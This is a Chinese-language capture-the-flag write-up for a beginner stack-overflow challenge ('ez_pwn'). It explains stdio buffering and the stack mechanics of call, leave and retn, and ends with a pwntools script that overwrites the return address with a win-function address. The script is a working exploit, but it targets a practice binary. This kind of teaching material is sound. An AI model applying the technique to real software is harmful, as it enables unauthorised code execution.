简单的栈溢出
ez_pwn
遇到的问题
- 前面三个
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
这个是取消这三个stdio函数的缓冲,
stdio函数有个缓冲机制,输入的 内容比如
1 | |
这里hello 如果 printf里面没有\n就会保存到 缓冲区里面,不输出到终端,
指导遇到 调用下一个stdio 里面的标准输入输出函数 的时候会刷新stdio的状态
或者在整个程序结束的时候释放缓冲区里面的内容再输出.
这里的read是系统调用syscall
表示从 某个fd(文件描述符)读取数据到内存
(挖个坑后面可能会讲一下文件描述符和系统调用,是的.只是挖坑)
anyway看了半天,讲文件描述符的后面一起看吧,
反正就是这个
setvbuf(stdin, 0LL, 2, 0LL);比如就是把stdin这个函数的int setvbuf(FILE *stream, char *buf, int mode, size_t size);2 指的是#define _IONBF 2 就是没有缓冲区
各种缓冲区
1
2
3
4 _IOFBF // full buffering,全缓冲 ,等缓冲区满、程序退出、手动 `fflush` 时才输出
_IOLBF // line buffering,行缓冲 ,\n输出
_IONBF // no buffering,无缓冲,直接输出
之后这样设置我们printf 无论怎样都是直接输出了
这里其实是一个最简单的栈溢出,难度不高.
原因是call这个指令在进入另一个函数的时候,
call 是把一个rip 的当前地址 push入栈, 然后再 jmp到函数地址.
push 是 例如 push rbp,把栈底的寄存器 ,先扩大栈 让rsp生长保存到rsp 保存的栈顶存放的内存
1 | |
pop 比如 pop rbp .和 push相反,先把[rsp] (栈顶)地址保存的内存放回rbp中.然后让rsp 地址增长,栈收回 8字节.
1 | |
retn
这配合leave和retn一起讲
leave相当于
1 | |
把 先弹出 收回当前函数开辟的栈, 因为之前是把在rsp 作为开始的栈底 ,之上重新开辟了一个栈,也返回了上个函数的栈顶,所以这里我们可以结束就 把 这个函数开辟的栈空间销毁掉.然后pop回退 把之前保存的上个函数的栈底部 返回.
其实新进入的函数就是把上个函数的栈顶作为栈底然后 之前的rbp就保存了.
然后retn 就是pop rip然后
jmp rip就行了.
我们知道rip其实 是rbp上面所以这里给了100字节完全是够的
我们只需要把rip 的地址,计算一下偏移先把buf填充满. 虽然没必要我们还是保持rbp和之前一致,然后再 把rip的内容改成 wwhat这个函数的地址.
```from pwn import *
context.arch ="amd64"
context.os ="linux"
context.log_level="debug"
elf= ELF("./pwn")
def start():
if args.REMOTE:
return remote("HOST",PORT)
else:
return process("./pwn")
io =start()
offest=0x30
rbp=0x7fffffffd4a0
wwhat=0x4011f7
payload =flat([b"A"*offest,rbp,wwhat])
io.sendlineafter(b"Just say something...", payload)
io.interactive()